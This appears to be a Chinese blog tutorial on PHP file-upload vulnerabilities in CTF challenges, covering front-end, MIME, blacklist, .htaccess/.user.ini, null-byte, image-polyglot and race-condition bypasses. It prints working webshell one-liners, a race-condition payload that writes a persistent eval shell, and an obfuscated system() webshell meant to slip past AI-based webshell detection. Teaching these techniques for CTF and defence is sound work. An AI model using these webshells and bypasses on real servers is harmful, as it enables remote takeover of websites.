yemaster的小窝

PHP文件上传及绕过方法

2024-10-30
27

什么是Webshell

Webshell(网页木马)是一种运行在 Web 服务器上的恶意脚本或工具,它允许攻击者通过网络与服务器进行远程交互和控制。

PHP文件上传题目一般以成功上传Webshell从而拿到靶机控制权限为目标。

可以自己用一句话木马 <?php @eval($_POST["a"]); ?>,也可以用哥斯拉等工具生成webshell然后上传,连接。

在特殊情况下,也需要自己构造代码。例如当可利用字节数很小的时候,这时候就不要奢求接受 POST 参数了,直接写死命令,例如:<?=`nl /*`?>

PHP文件上传利用

一般图床等应用都会允许用户上传自己的文件并保存到服务器。但是,如果对用户上传的文件没有限制的话,那么用户很可能上传恶意代码到服务器中。

这里主要讲php的文件上传以及相关利用。另外,java和python等同样也有文件上传,这里不展开来讲了。

最简单的文件上传就是不加限制的。但是,一般题目都会加上这样那样的限制,接下来我们来讲常见的限制和绕过方法。

前端绕过

如果文件上传只有前端做限制,而后端没有检测的话,可以轻松的绕过。例如,前端作了如下验证:

function upload() {
    var file = document.getElementById("file").files[0];
    if (!/(.jpg|.png|.gif|.jpeg)$/.test(file.name)) {
        alert("只能上传.jpg, .png, .gif, .jpeg格式的图片");
        return false;
    }
    return true;
}

我们可以直接在 f12 中,直接把限制删掉,在这里就是把 upload 函数直接改成返回 true 的常值函数即可。

另外,我们也可以先上传指定后缀的图片,然后再用 burpsuite 抓包改包改成 .php 发给后端。

MIME 绕过

MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的标准,用来表示文档、文件或字节流的性质和格式。MIME 类型通用格式是:type/subtype。

一般图片的MIME是:image/xxx。而如果我们直接上传 php 的话,Content-Type 则是 application/octet-stream。

要绕过的话,我们也是用 burpsuite 抓包,然后把对应的 Content-Type 改成图片的格式即可。

原请求:

2024-10-30T09:34:08.png

改成如下即可:

2024-10-30T09:35:00.png

黑名单绕过

特殊后缀绕过

有时候,php后缀被禁止了,可以考虑用phtml,php5,php7等特殊后缀,如果配置不当,这些后缀也会被当作php代码解析。

空格绕过

如果配置不当,在文件最后加一个空格,也不影响最后文件解析结果,但是后缀就从 php 变成了 php (多一个空格)。

点号绕过

和上面一样,如果后缀检测方式不当,可以在文件最后加一个点,这样可以绕过黑名单检测。

双写绕过

如果只是单纯的删去一遍php,那么可以通过pphphp这种双写来绕过。

.htaccess 和 .user.ini

.htaccess是apache的配置文件。如果我们上传如下内容的 .htaccess,让.txt文件当做.php文件解析,这样就可以通过.txt上传马了,也就绕过了黑名单。

AddType application/x-httpd-php .txt

.user.ini 是 PHP 的配置文件,类似于 .htaccess 但用于 PHP 环境。通过上传 .user.ini 文件,我们可以修改 PHP 的一些配置选项,从而实现某些功能。

%00 截断和 / 绕过

如果后端会在上传的文件后面粗暴地加上 .png 后缀。这样子可以利用操作系统的限制,在文件名后面加上非法字符,让文件从这里截断,从而达成绕过。

%00要求:php<5.3.4

图片马

有时候,后端检测上传的文件不仅仅检测文件的 MIME 还有后缀,还会检测文件的内容。因为图片文件都有特定的文件格式。

比如 jpg 的文件头是 FFD8,png 是 89504E47

因为 php 只有 <?php ?> 中包围的代码才会被当做 php 执行,而这之外的数据不影响。所以可以先找一个图片,然后修改其中的内容(例如修改图片的像素值使得恰好为 php 代码)或者在末尾追加 php 代码即可。

Windows下可以用 copy 命令来合并两个文件,例如:COPY /b file1.jpg + file2.php out.php

条件竞争

有时候,我们上传到服务器的文件,如果服务器先复制文件到指定位置,然后检测文件类型,如果不通过再对文件进行删除。

那么,假如我们上传的 1.php,然后访问 1.php 的时候会写入 webshell 到 2.php,但是服务器只知道我们上传了 1.php 而不知道 2.php,所以最后只会删除 1.php。虽然最后1.php被删除了,但是只要我们在它被删除前访问到它成功生成2.php,那么我们就可以通过 2.php 来控制。

这个方法就是条件竞争。

<?php
file_put_contents("myma.php", '<?php @eval($_REQUEST[1]);');

AI检测

题目大概就是给定上传文件,然后AI会检测这个文件是不是Webshell,如果认为不是的话就可以上传。

简单做法就是稍微绕一绕,不要出现明显的恶意函数调用。

比如:

<?php
$a = "s#y#s#t#e#m#";
$b = explode("#", $a);
$c = implode("", $b);
$c($_POST['cmd']);
分类标签:php

目录